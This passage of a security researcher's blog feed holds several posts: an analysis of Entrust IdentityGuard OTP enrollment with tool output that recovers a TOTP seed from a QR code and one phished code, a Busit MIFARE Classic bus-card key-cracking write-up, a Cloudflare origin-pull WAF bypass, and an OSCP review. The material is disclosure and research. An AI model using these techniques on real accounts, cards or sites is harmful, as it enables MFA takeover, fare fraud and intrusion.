<p>This shows us the first vulnerability in this kind of design. The password used to decrypt the QR code is far too short and simple to be robust against a brute-force attack. To search the entire keyspace using only CPUs can be done with a few dollars on Amazon AWS (see the README on <a href="https://github.com/ss23/entrust-identityguard-tools">https://github.com/ss23/entrust-identityguard-tools</a>), and can surely be optimized even further with a GPU implementation. There’s an argument to be made that because the decrypted data only contains information that is present in the previous email, it doesn’t result in less security if it can be decrypted, but the fundamental flaw is that people working with these QR codes assume them to not be bruteforcable. This means people are happy to send the QR codes through email (even Entrust themselves, through their IntelliTrust platform, send these codes via email), or transmit them through other insecure means, with the assumption that they’re protected and don’t present a meaningful security risk alone.</p>

<h1 id="entrust-identityguard-registration">Entrust IdentityGuard Registration</h1>
<p>At this stage we don’t yet have the underlying TOTP secret, so we need to understand how the Entrust application uses the information we do have. An easy way to verify what is taking place is by scanning the same QR code (or entering the information decoded from it) twice. If the generated codes are the same on both devices, we know the information within the QR code is all that is used to generate the TOTP token. If it’s different, there must be more taking place.</p>

<p>The Entrust application generates unique tokens every time we scan the same QR code, which indicates there must be some kind of other process going on that results in the underlying secret being generated and communicated back to the server. This makes sense, as part of the enrollment process involves submitting a “Registration Code” (not to be confused with an Activation Code) back to the enrollment server. This must mean that whatever the secret is, the server can determine it based on the Registration Code. Luckily, we can once again look at the applications code, and with some reverse engineering, determine what is going on.</p>

<p>Using the information in the QR code, the application generates a “secret” of 2 bytes on the device. This is then combined with the other information and merged into the Registration Code. When the server receives the Registration Code, it can link it back to a specific enrollment, and determine the underlying OTP secret.</p>

<p><img src="/assets/images/entrust-mobile-app.png" alt="Screenshot of Entrust mobile application showing a Registation Code" /></p>

<p>To verify this, we can use an example we’ve previously added to the device. If we can generate the same tokens as the application does, we’ll know we’ve obtained the true OTP secret:</p>

<p><img src="/assets/images/entrust-mobile-app2.png" alt="Screenshot of Entrust mobile application showing a Security Code of 52112 2886" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ss23@crisp $ ./generate-otp.py 18924-27533 0186-3302-4398-6152 24211-55785
35695cd4c2c90fe30c5cf04f1ccd48ea
To generate a code immediately, run:
oathtool -v --totp=sha256 --digits=6 35695cd4c2c90fe30c5cf04f1ccd48ea
ss23@crisp $ oathtool -v --totp=sha256 --digits=8 35695cd4c2c90fe30c5cf04f1ccd48ea
Hex secret: 35695cd4c2c90fe30c5cf04f1ccd48ea
Base32 secret: GVUVZVGCZEH6GDC46BHRZTKI5I======
Digits: 8
Window size: 0
Step size (seconds): 30
Start time: 1970-01-01 00:00:00 UTC (0)
Current time: 2019-10-24 10:13:12 UTC (1571911992)
Counter: 0x31F840A (52397066)
52112886
</code></pre></div></div>

<p>This confirms that everything we need to determine the secret is contained within the QR code and Registration Code. Once again, this presents a massive security risk to the solution depending on how it is deployed. There is a natural inclination in a lot of circumstances to simply respond to the person enrolling your token with the Registration Code that was generated. If this is communicated over a persistent channel such as email, an attacker may be able to obtain all the information required to generate a token without anyone knowing. As before, this is not an overt security flaw, but rather a problem with the human parts of the system. If someone is not aware that the QR code and Registration Code contain all that is required to generate new tokens, they’ll not be inclined to protect them. Simply by obfuscating the process of generating these codes, Entrust has substantially decreased how secure their product is in practice.</p>

<h1 id="entrust-identityguard-entropy">Entrust IdentityGuard Entropy</h1>

<p>Within the previous section, there was another flaw briefly mentioned: only two random bytes are generated on the end-users’ device. As with all the other discussed flaws, this is not an overt security issue, but one of subverting the users’ expectations. After hearing that the Registration Code and QR code contain enough to generate future TOTP outputs, a first reaction is to prevent both of these pieces of information from being found in the same place. In practice, this often means emailing the QR code (as this is an image, and thus hard to communicate through other channels), and sending the Registration Code component through a second channel, such as voice or SMS. This is still a severely flawed practice due to the limited entropy being generated on the end-users’ device.</p>

<p>By observing the QR code, along with a single output of the TOTP token, it is possible to find the correct seed through a brute-force attack. This goes back to the initial problem with TOTP mentioned in the introduction: TOTP is phishable. If an attacker can phish a single output of the token, the attack becomes possible. Something like this becomes even more plausible if you are willing to call an end-user and ask for an “Entrust verification code” or similar without asking for their password. Most users are willing to give out MFA codes over the phone, especially if you emphasize you are not asking for their password.</p>

<p>Putting this into practice with a specific example (with the same values as used previously):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ss23@crisp $ ./crack-otp.py 18924-27533 0186-3302-4398-6152 52112886 1571911992
Possibe valid OTP seed found:  35695cd4c2c90fe30c5cf04f1ccd48ea
To generate a code immediately, run:
oathtool -v --totp=sha256 --digits=6 35695cd4c2c90fe30c5cf04f1ccd48ea
</code></pre></div></div>

<p>This is the same secret code as we had before, confirming we can now generate new codes the same as the device into the future.</p>

<hr />

<h1 id="in-summary">In Summary</h1>

<p>Almost every deviation away from a standard TOTP implementation has made the security of the Entrust IdentityGuard solution worse, not through explicit weaknesses, but through the human element — people assuming these changes make the solution more secure than other approaches. Worse still, even Entrust themselves fall victim to these issues with the default configuration of their IntelliTrust trial.</p>

<p>Issues in the design include:</p>
<ul>
  <li>QR codes are encrypted needlessly, making them seem more secure than they are</li>
  <li>QR code encryption is trivially bruteforcable</li>
  <li>The Registration Code and QR code together contain all that is required to generate new tokens, but this is not obvious to the end-user</li>
  <li>QR codes are emailed out to users, which can be combined with a single TOTP output to determine the underlying seed</li>
</ul>

<p>To use these tools within your organization, simply head to the GitHub page and check the included README: <a href="https://github.com/ss23/entrust-identityguard-tools">https://github.com/ss23/entrust-identityguard-tools</a>.</p>]]></content><author><name></name></author><category term="reverse-engineering" /><category term="identity" /><category term="entrust" /><summary type="html"><![CDATA[It’s not uncommon to see software tokens used for MFA (Multi-factor authentication). The most common of these are probably TOTP based solutions, such as Google Authenticator (or any of the other applications implementing the protocol). While they have specific weaknesses that make them inappropriate for high-value targets (namely their ability to be phished from users), they’re generally considered robust.]]></summary></entry><entry><title type="html">Cracking the Waikato bus card system</title><link href="https://blog.ss23.geek.nz/2018/08/01/cracking-the-waikato-bus-card-system.html" rel="alternate" type="text/html" title="Cracking the Waikato bus card system" /><published>2018-08-01T23:00:00+00:00</published><updated>2018-08-01T23:00:00+00:00</updated><id>https://blog.ss23.geek.nz/2018/08/01/cracking-the-waikato-bus-card-system</id><content type="html" xml:base="https://blog.ss23.geek.nz/2018/08/01/cracking-the-waikato-bus-card-system.html"><![CDATA[<center>
<p>
<img src="/assets/images/busit-card.jpeg" alt="A Busit branded transport card" /><br />
<em>The Waikato electronic card for buses - Busit</em>
</p>
</center>

<p>I recently published <a href="https://play.google.com/store/apps/details?id=nz.geek.ss23.balanceit">an application for reading the balance from a Busit card</a>, the electronic ticketing system used in Waikato/Hamilton, New Zealand. One of the questions people have asked is what process did I use to get it working. This post hopefully provides some of the information required to build something like this for another city’s bus card system, or give a little more technical information for anyone interested.</p>
<hr />

<h1 id="what-type-of-card-are-we-dealing-with">What type of card are we dealing with?</h1>
<p>The first thing when looking into a new card is to figure out what it actually is. Luckily there’s not a shortage of tools we can use for this these days, starting with your standard smart phone.</p>

<p>Most Android devices (and newer iPhones) have NFC built in, which allows reading one of the primary types of electronic cards. Most cards are split into low frequency (often just called RFID), and high frequency (often called NFC, though they’re technically RFID too). By attempting to read a card like this using your mobile phone, you can easily see which the system uses.</p>

<p>In our case, I opened up a free tool I often use for this kind of thing, <a href="https://play.google.com/store/apps/details?id=com.wakdev.wdnfc">NFC Tools</a>, and scanned the Busit card:
<img src="/assets/images/busit-nfctools-1.png" alt="Screenshot of NFC tools showing the card is &quot;NXP MIFARE Classic 1K&quot; and other information" /></p>

<p>The most important thing we can see on this screen is the Tag Type, listed as “<a href="https://en.wikipedia.org/wiki/MIFARE#MIFARE_Classic_Family">NXP Mifare Classic 1k</a>”. A little searching around the internet seems to indicate this is a common type of card for transportation systems, and more importantly for us, it’s <a href="https://en.wikipedia.org/wiki/MIFARE#Security_of_MIFARE_Classic,_MIFARE_DESFire_and_MIFARE_Ultralight">considered very insecure</a>.</p>

<h1 id="mifare-classic-and-other-bad-decisions">Mifare Classic, and other bad decisions</h1>
<p>Looking into the <a href="https://developer.android.com/reference/android/nfc/tech/MifareClassic">relevant Android APIs</a>, it looks like we’re going to be able to develop something that can read and write information, but first, we’re going to need to know the keys in use for the Busit card.</p>

<p>The tool we’ve used so far (NFC Tools) hasn’t given us the option of cracking the keys for the Mifare Classic, so we’ll need to investigate another approach. In my case, I have access to a <a href="https://github.com/Proxmark/proxmark3">Proxmark3</a>, which is capable of attacking the Mifare Classic protocol.</p>

<center>
<p>
<img src="/assets/images/busit-proxmark3.jpeg" alt="An eletronic device labelled Proxmark3 RDV" />
<em>The Proxmark3 RDV2</em>
</p>
</center>

<p>Once I had the Proxmark3 set up and working on my PC, I was able to start probing the card and performing attacks. By running the command <code class="language-plaintext highlighter-rouge">hf search</code>, I was able to see the Busit card I had has a weak <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">PRNG</a>. In my experience, most Mifare Classic cards have this same issue.</p>

<p>Now we have everything we need to begin an attack. To speed things up, we can check for default keys on the Busit card. People have contributed a large number of common keys to the Proxmark3 repository, so we might get lucky. We just run the <code class="language-plaintext highlighter-rouge">hf mf chk * ? default_keys.dic</code> command, which means “hi-frequency, mifare, check every sector and every slot, using every default key from default_keys.dic”.</p>

<center>
<p>
<img src="/assets/images/busit-keys.png" alt="Terminal output showing the attack output, with all keys showing as FFFFFFFF" /><br />
<em>Turns out the keys for Busit don't really require cracking</em>
</p>
</center>

<p>Lo and behold, the Proxmark3 steps have been completely unnecessary! The Busit card uses the “default” keys of FFFFFFFFFFFF (which is the computer equivalent of setting your password to “1”).</p>

<p>With the keys obtained, we can begin looking at the data on the card and building our Android application.</p>

<hr />

<h1 id="dumping-our-data">Dumping our data</h1>
<p>If you know the keys to a Mifare Classic card, there’s no limit to the ways you can read the data stored on it. In my case, since I wanted to build an Android application, I used my Android smart phone to dump all of the data from the card. I could have also used the Proxmark3 (with the <code class="language-plaintext highlighter-rouge">hf mf dump</code> command) to see what data was stored on the card.</p>

<p>If you’re interested in the exact code used, <a href="https://github.com/ss23/BusitBalanceViewer/blob/dc0457303d8f2a6067638c91c1b2bb18b5e8f3e4/app/src/main/java/nz/geek/ss23/balanceit/MainActivity.java#L174">check it out on GitHub</a>.</p>

<p>Once I had the data, all that was left was to determine which of the sectors on the card corresponded with the balance. There can be some guess-work involved, but since I knew the balance on the card before I scanned it (from looking at my last travel receipt), I was able to have an idea of what I was looking for.</p>

<p>My last balance was $10.70, which can be stored a few ways by a computer. One might be to store it as a string, though that seems unlikely given strings are not very easy for a computer to do math on. Another might be a system called “floating point”, though this also seems unlikely, as floating point systems end up not being able to store a value like “$10.70” properly. The most likely option is just to store the number “1070”, using the standard computer number system of binary. In many dumps that people are looking at, such as the Proxmark3 Mifare dump format, you’re going to be seeing hexadecimal numbers instead. In our case, 1070 will show up as “ 42E”.</p>

<p>Once I knew what I was looking for, finding the right sector was easy. There was only one place where the value “42E”/”1070” was stored on the Busit card, which means it must be the balance. By noting down where it was, we can build an Android application which looks in this same place for every card and converts the value back to something human readable.</p>

<p><img src="/assets/images/busit-balanceit.gif" alt="Animated screen capture showing a prompt to scan a Busit card, followed by a balance of $10.70 being displayed" /></p>

<p><a href="https://github.com/ss23/BusitBalanceViewer">The latest source-code for the project is up on GitHub</a>, so you can see how the Android application reads and decodes this value.</p>

<hr />

<p>Now that we have read the value out, you might have a good guess at how to write the value. While I haven’t tested it, all signs point to it being trivial to modify the balance on your Busit card. That being said, there are many ways for you to be caught doing this kind of balance modification – someone, somewhere, is eventually going to notice a discrepancy in how much money they’re meant to be making vs how much they really are.</p>

<h1 id="previous-work">Previous work</h1>
<p>Nothing in this post is new research, its all been done before.</p>

<p>Notable prior work that informed this post is is a <a href="http://thewireless.co.nz/themes/free/smart-cards-not-so-smart">similar set of problems discovered by AmmonRa</a>, <a href="http://2013.kiwicon.org/the-con/talks.1#e112">presented at Kiwicon</a>, <a href="https://www.radionz.co.nz/news/national/227303/council-shuts-down-bus-card-website">in the Christchurch bus system</a>.</p>

<p>Other research of great value is the significant amount of effort put into defeating the security of the Mifare Classic system. Wikipedia is probably the best place to find a summary of relevant papers for those interested in learning more about this.</p>

<p>The Proxmark3 project has also been instrumental to my learning about different electronic cards and their security weaknesses.</p>]]></content><author><name></name></author><category term="proxmark" /><category term="rfid" /><category term="nfc" /><category term="busit" /><summary type="html"><![CDATA[The Waikato electronic card for buses - Busit]]></summary></entry><entry><title type="html">Leveraging Cloudflare’s Authenticated Origin Pulls For Pentesting</title><link href="https://blog.ss23.geek.nz/2018/01/22/leveraging-cloudflares-authenticated-origin-pulls-for-pentesting.html" rel="alternate" type="text/html" title="Leveraging Cloudflare’s Authenticated Origin Pulls For Pentesting" /><published>2018-01-22T23:00:00+00:00</published><updated>2018-01-22T23:00:00+00:00</updated><id>https://blog.ss23.geek.nz/2018/01/22/leveraging-cloudflares-authenticated-origin-pulls-for-pentesting</id><content type="html" xml:base="https://blog.ss23.geek.nz/2018/01/22/leveraging-cloudflares-authenticated-origin-pulls-for-pentesting.html"><![CDATA[<center>
<p>
<img src="/assets/images/cloudflare-origin-pulls.png" alt="Screenshot of the Cloudflare administration panel showing the Authenticated Origin Pulls option set to On" />
<em>Cloudflare's Authenticated Origin Pulls option</em>
</p>
</center>

<p>During our regular penetration testing, we occasionally encounter a client who’s both using Cloudflare and seems to have configured it correctly (though as you might imagine, this doesn’t happen often). While most people realize that you can still exploit a client with Cloudflare and their WAF, it certainly makes the job harder.</p>

<p>The “hardened” configuration we’re most likely to see is an origin that is firewalled to only Cloudflare IP addresses, preventing any direct access (HTTP or otherwise), and <a href="https://developers.cloudflare.com/ssl/origin-configuration/authenticated-origin-pull">Authenticated Origin Pulls</a>. Either of these options alone is enough to severely frustrate our ability to test efficiently or exploit the target in many cases.</p>

<p>What’s much less likely is that the client has managed to hide their Origin IP addresses appropriately. There are automated tools to check for this failing (a favorite of mine is to just do a password reset email and check the headers), and in the case of penetration testing, you’re able to just ask the client for the IP addresses in use.</p>

<p>However, most people aren’t aware that simply by having the Origin IP address exposed, even if you have a well-configured firewall and Authenticated Origin Pulls, an attacker can trivially bypass the WAF, caching, and other related functionality in Cloudflare.</p>

<hr />

<blockquote>
  <p>Authenticated Origin Pulls is particularly important when taking advantage of the Cloudflare Web Application Firewall (WAF) security features. By using Authenticated Origin Pulls with a restricted-to-Cloudflare configuration, websites can be sure all traffic has been processed by a state of the art Web Application Firewall.</p>
</blockquote>

<p>From the description on the help page, you might be forgiven for assuming that Authenticated Origin Pulls will ensure all content goes through your configured security features, but there are ways to avoid this.</p>

<p>Briefly, the feature verifies that the connection came from Cloudflare, and your web server will reject connections that don’t meet this criterion. As you can see from the help page, there is only a <a href="https://support.cloudflare.com/hc/en-us/article_attachments/201243967/origin-pull-ca.pem">single generic certificate</a> that is configured. This means the verification that takes place is not specific to a given client, account, or website.</p>

<p>This allows us to quite easily add a new site to our own personal Cloudflare account, set the Origin IP to the server we wish to attack, and reconfigure this site with our own WAF, cache, and security rules. The firewall will allow us through because the connection comes from Cloudflare. The Authenticated Origin Pull will succeed because the request is signed by Cloudflare. And Cloudflare will respect our WAF rules because the traffic is routed through our site, not the client site.</p>

<hr />

<p>The last piece of the puzzle has to do with the obvious problem of vhosts. When we set up our custom site, we don’t have access to the client’s domain, so we have to use a fake one. This is only going to allow us to access the default vhost on the origin server.</p>

<p>There might be a way to trick the origin server into misinterpreting the Host header, but we need to ensure that Cloudflare routes our request through our site in their system, which makes this kind of attack unlikely.</p>

<p>Luckily, Cloudflare provides a feature for us – <a href="https://support.cloudflare.com/hc/en-us/articles/206652947-Using-Page-Rules-to-Re-Write-Host-Headers">Using Page Rules to Re-Write Host Headers</a>. This lets us rewrite the host header as we like given different domains. We could configure site1.fakedomain.com to be rewritten to site1.com so that when the request gets to the origin server, it’s valid and the host header is set, so we receive the content we want.</p>

<p>The downside to this feature is it is only available on Cloudflare Enterprise, which comes with a hefty price tag of <a href="https://support.cloudflare.com/hc/en-us/articles/200170326-How-much-does-the-Enterprise-Plan-cost-">$5000 a month minimum</a>. For a single job, this might not be worth it, but remember you can use this to exploit as many sites as you wish simply by adding subdomains, so the price may be worth it.</p>

<hr />

<p>What kind of mitigations are there? Well, the first is to note Cloudflare isn’t simply going to ignore every request just because you configured the WAF to be lenient. They’ll be on the lookout for suspicious requests, and if you trigger their detection, who knows what they’ll do.</p>

<p>As a website owner, the most obvious decision is to never expose your Origin IP, but this is easier said than done.</p>

<p>Lastly, Cloudflare has a beta product called <a href="https://blog.cloudflare.com/introducing-cloudflare-warp/">Cloudflare Warp</a> which can help mitigate this kind of attack by avoiding exposing your webserver to the internet in the first place.</p>]]></content><author><name></name></author><category term="cloudflare" /><summary type="html"><![CDATA[Cloudflare's Authenticated Origin Pulls option]]></summary></entry><entry><title type="html">Thoughts on the OSCP in 2017</title><link href="https://blog.ss23.geek.nz/2017/10/19/thoughts-on-the-oscp-in-2017.html" rel="alternate" type="text/html" title="Thoughts on the OSCP in 2017" /><published>2017-10-19T23:00:00+00:00</published><updated>2017-10-19T23:00:00+00:00</updated><id>https://blog.ss23.geek.nz/2017/10/19/thoughts-on-the-oscp-in-2017</id><content type="html" xml:base="https://blog.ss23.geek.nz/2017/10/19/thoughts-on-the-oscp-in-2017.html"><![CDATA[<p>I recently had a chance to gain my <a href="https://www.offensive-security.com/courses/pen-200/">OSCP certification</a> through my day to day penetration testing job and wanted to share some thoughts on the experience.</p>

<p>For the most part, the certification has only positive reviews online. Even attempting to find a negative review with a search like “OSCP bad” or “OSCP not worth it” results in nothing but praise for the OSCP. This reputation is probably there for a good reason, but I would argue it is more to do with how bad other certifications are rather than the inherent value of the OSCP itself. To that end, I have some specific criticisms that bear mentioning to those who are looking to complete their OSCP certification in the future. I have ordered these roughly in order of “easiest to fix” to “hardest to fix”. These are 100% my own opinion. I don’t doubt that most people will not agree, but I hope that this helps explain some of the reasons people might not be recommending everyone hold an OSCP.</p>

<h1 id="there-is-no-apac-region">There is no APAC region</h1>
<p>While this may be a minor issue for some people, I can say without a doubt that one of the most frustrating experiences during both my lab and examination period was trying to find ways to work around the issues that arise when you are on a VPN with 300 milliseconds of round trip time.</p>

<center>
<p>
<img src="/assets/images/oscp-ping.png" alt="Screnshot showing an nmap UDP scan with many dropped packets and a long completion time" />
<em>If you thought UDP scans were slow normally, try with 300 ping</em>
</p>
</center>
<p>That is not to say that the lack of an APAC region makes the OSCP significantly more difficult, it just adds a lot of frustrations. As you might imagine, some tasks become exceedingly painful. Trying to navigate an FTP server to find the one interesting file? What about just trying to complete an nmap scan (especially if you include all ports rather than just the top 1000). The official word from Offensive Security is that there is no need for an APAC region, nor are there any plans to open one, but as someone who suffered through the OSCP with high ping and paid a very significant amount of money for the privilege, I’m really not happy with that response. Being ex-devops, I completely understand the pain that goes into bringing a new region online of your product, but to completely brush it off as unnecessary feels like it tells us that Offensive Security are more concerned with maximizing profit than providing a pleasant experience for their customers.</p>

<h1 id="unclear-and-changing-requirements">Unclear and changing requirements</h1>

<p>When you first begin the labs, you might ask a simple question like “What is the scope of the lab machines”, that is, what IP ranges are you allowed and meant to be targeting? Given the tendency to compare the OSCP labs to a penetration test, you would hope there’s a clear answer. Alas, that does not seem to be the case. The first place you might look, your course PDF (which is provided only once your lab time starts, which I presume is necessary to keep people spending expensive lab time away from the labs and reading a PDF?), only lists a single subnet: 10.11.0.0/16. In the same table, however, it also lists a target start as 10.11.1.1 and target end as 10.11.1.254. You might rightly be confused as to what this means. While later it becomes clear what is in scope (hint: it is a lot less than 10.11.0.0/16 and a lot more than 10.11.1.1/24), this points to a more general problem of being unclear in the documentation.</p>

<p>Another place this comes up is during the final examination. Without revealing anything about the exam that isn’t allowed, I can share that you are required to document your steps. Specifically, you are told, “You must submit at least two or four screenshots”. Ignoring how confusing of a sentence this is in the first place, it can be inferred that these refer to two screenshots of the exploit to gain an unprivileged shell, and two more of a root shell (though individual exam machines may vary of course). This requirement quite clearly breaks down in the case where one of your intrusion methods is not an exploit, such as the use of a default password. Nonetheless, it is possible to figure out what you are meant to do (for the most part), but it once again makes me wonder why they are not more clear from the outset.</p>

<h1 id="its-not-really-for-professional-penetration-testers">It’s not really for professional penetration testers</h1>
<p>Of the issues I have pointed out here, this is the one least in the control of Offensive Security, but perhaps the one I found most frustrating.</p>

<p>All through the internet, we can see stories of people singing the praises of the OSCP, how it helped them learn what they needed, or how it helped them become better at what they already can do, but something I didn’t notice at the time was how few of these praises come from those already in the industry. Of the ones that do come from the industry, they are framed more as “you should get this certification if you plan to work in infosec”, which is a far cry different from “if you are in the industry, you should have this certification”.</p>

<p>To that end, I found the course materials severely lacking compared to what I expected. Where I expected to learn about attacks, I instead learned to look things up in the ExploitDB database. Where I expected to learn about new and interesting attacks, I was given ten different boxes to run Metasploit on. Moreover, that is not to say those skills are not useful, of course, they are, but they are skills I already had, and skills I would expect anyone who’s been in the industry for more than six months to have picked up already.</p>

<p>However, I hear you say, the OSCP is not there to teach you about bugs, it is there to teach you an attitude, a way of thinking! Surely you are right, but how many penetration testers have managed to get and maintain a job in the industry without those skills already? The ability to “try harder” isn’t some magical thing that only an OSCP has, it is a basic requirement for being able to do your job.</p>

<p>So while this last one is on me, I wanted to provide some contrast between the glowing reputation the OSCP receives, and my experience with it.</p>]]></content><author><name></name></author><category term="oscp" /><category term="training" /><category term="offensive-security" /><summary type="html"><![CDATA[I recently had a chance to gain my OSCP certification through my day to day penetration testing job and wanted to share some thoughts on the experience.]]></summary></entry></feed>